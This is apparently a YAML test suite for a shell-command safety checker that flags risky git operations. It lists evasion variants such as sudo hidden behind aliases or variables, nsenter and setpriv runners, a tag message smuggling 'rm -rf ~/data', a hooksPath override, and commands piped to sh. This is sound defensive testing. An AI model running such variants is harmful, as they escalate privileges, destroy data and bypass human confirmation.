description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "gosu root git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "su-exec root git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "nsenter -t 1 -a git stash pop stash@{1}"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "alias s=sudo; s git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "SUDO=sudo; $SUDO git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "$SUDO git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "\"${SUDO:-sudo}\" git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "${SUDO:-sudo} git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "chroot / git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "systemd-run --uid=0 --pty git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "systemd-run -p User=root --pty git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "ssh root@localhost 'git worktree add ../webapp-hotfix -b hotfix'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:worktree_management"]
- test: "please git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "sudo-rs git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "gosu root git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "su-exec root git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "nsenter -t 1 -a git worktree add ../webapp-hotfix -b hotfix"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "alias s=sudo; s git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "SUDO=sudo; $SUDO git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "$SUDO git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "\"${SUDO:-sudo}\" git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "${SUDO:-sudo} git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "chroot / git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "systemd-run --uid=0 --pty git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "systemd-run -p User=root --pty git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "ssh root@localhost 'git worktree add ../wt main'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:worktree_management"]
- test: "please git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "sudo-rs git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "gosu root git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "su-exec root git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "nsenter -t 1 -a git worktree add ../wt main"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:worktree_management"]
- test: "alias s=sudo; s git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "SUDO=sudo; $SUDO git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "\"${SUDO:-sudo}\" git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "${SUDO:-sudo} git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "chroot / git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "setpriv --reuid=0 --regid=0 --init-groups git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "systemd-run --uid=0 --pty git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "systemd-run -p User=root --pty git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "ssh root@localhost 'git rebase --continue'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:rebase"]
- test: "nsenter -t 1 -a git rebase --continue"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:rebase"]
- test: "alias s=sudo\ns git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "export SUDO=sudo; $SUDO git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "${SUDO} git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "${SUDO:+sudo} git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "\"$1\" git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "printf sudo | xargs -I{} {} git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "s git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "ssh -l root localhost 'git merge --no-ff feature/login'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "docker run --rm -v \"$PWD\":/w -w /w alpine git merge --no-ff feature/login"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "S=sudo; bash -c \"$S git merge --no-ff feature/login\""
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "/usr/bin/sud? git merge --no-ff feature/login"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:merge_no_ff"]
- test: "alias s=sudo\ns git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "export SUDO=sudo; $SUDO git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "${SUDO} git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "${SUDO:+sudo} git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "\"$1\" git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "printf sudo | xargs -I{} {} git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "s git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "ssh -l root localhost 'git stash pop'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "docker run --rm -v \"$PWD\":/w -w /w alpine git stash pop"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "S=sudo; bash -c \"$S git stash pop\""
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "/usr/bin/sud? git stash pop"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "alias s=sudo\ns git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "export SUDO=sudo; $SUDO git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO} git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "${SUDO:+sudo} git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "\"$1\" git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "printf sudo | xargs -I{} {} git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "s git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "ssh -l root localhost 'git cherry-pick abc123'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "docker run --rm -v \"$PWD\":/w -w /w alpine git cherry-pick abc123"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:cherry_pick"]
- test: "S=sudo; bash -c \"$S git cherry-pick abc123\""
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "/usr/bin/sud? git cherry-pick abc123"
description: "flag: the exempt command is not in command position (a runner, name or expansion in front)"
expect_ids: ["git:cherry_pick"]
- test: "git fetch origin '+refs/*:refs/*' && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin +main:main && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull origin +main:main && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch . +HEAD~5:main && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin '+refs/heads/*:refs/heads/*' && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch --prune origin '+refs/tags/*:refs/tags/*' && git submodule update --init"
description: "flag: a forced or local-destination refspec before submodule update"
expect_ids: ["git-strict:submodule_update"]
- test: "ssh bastion 'git merge --no-ff feature/login'"
description: "flag: a remote or container payload never keeps a bounded exemption"
expect_ids: ["git:merge_no_ff"]
- test: "git fetch origin main:main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git pull origin main:main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin +main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin ^main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git fetch origin refs/heads/main:refs/heads/main && git submodule update --init"
description: "flag: only the allowlisted pass-through wrappers and plain refs keep the exemption"
expect_ids: ["git-strict:submodule_update"]
- test: "git commit -m 'docs: sudo is not needed' && rm -rf node_modules"
description: "allow: data that only mentions a runner, or a runner on another command of the line"
expect_ids: []
- test: "git cherry-pick abc123 # sudo"
description: "allow: data that only mentions a runner, or a runner on another command of the line"
expect_ids: []
- test: "git commit -m 'docs: sudo' && git merge --no-ff docs/sudo"
description: "allow: data that only mentions a runner, or a runner on another command of the line"
expect_ids: []
- test: "git commit -m \"$(cat <<'EOF'\ndocs: explain sudo usage\nEOF\n)\" && rm -rf node_modules"
description: "allow: data that only mentions a runner, or a runner on another command of the line"
expect_ids: []
- test: "git tag -a v1.2.0 -m \"release\""
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1.2.0 -m release"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1.2.0 -m \"release\" && git push origin v1.2.0"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag --annotate v1.2.0 -m release"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a -m release v1.2.0"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1.2.0 -F notes.md"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1.2.0 abc123 -m x"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "git tag -a v1 -m x -m y"
description: "allow: an annotated tag with its message given"
expect_ids: []
- test: "sudo git merge --no-ff feature"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:merge_no_ff"]
- test: "sudo git cherry-pick abc123"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:cherry_pick"]
- test: "doas git stash pop"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:stash_pop_drop"]
- test: "git tag -a -f v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0 -m x --force"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0 -m x -f"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0 -m x && git push --force origin v1.2.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:force_push"]
- test: "git push origin :refs/tags/v1.0.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:push_delete_branch"]
- test: "git push --delete origin v1.0.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:push_delete_branch"]
- test: "git push --force --tags"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:force_push"]
- test: "git push --force origin v1.0.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:force_push"]
- test: "git tag -a v1.2.0 -m \"$(rm -rf ~/data)\""
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["fs-strict:recursive_deletion", "fs:recursively_delete_outside", "git-strict:create_tag"]
- test: "git -c core.hooksPath=/tmp/h tag -a v1 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:config_exec_hook"]
- test: "echo 'git push --force origin v1' | sh && git tag -a v1 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git:force_push"]
- test: "echo 'git push --force origin v1' > /tmp/t.sh && sh /tmp/t.sh"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["fs:flush_file_content", "git:force_push"]
- test: "sudo git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "doas git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "su -c 'git tag -a v1.2.0 -m x'"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "sh -c 'sudo git tag -a v1.2.0 -m x'"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "sudo sh -c 'git tag -a v1.2.0 -m x'"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "pkexec git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "run0 git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "env sudo git tag -a v1.2.0 -m x"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0 -m x | sh"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "git tag -a v1.2.0"
description: "flag: close variant of an exempt command that must keep asking"
expect_ids: ["git-strict:create_tag"]
- test: "nice timeout 60 git cherry-pick abc123"
description: "allow: a pass-through wrapper or command position keeps the exemption"
expect_ids: []
- test: "env -i PATH=/usr/bin git stash pop"
description: "allow: a pass-through wrapper or command position keeps the exemption"
expect_ids: []
- test: "sudo -k; git merge --no-ff feature/login"
description: "allow: a pass-through wrapper or command position keeps the exemption"
expect_ids: []
- test: "git fetch origin main && git submodule update --init"
description: "allow: a pass-through wrapper or command position keeps the exemption"
expect_ids: []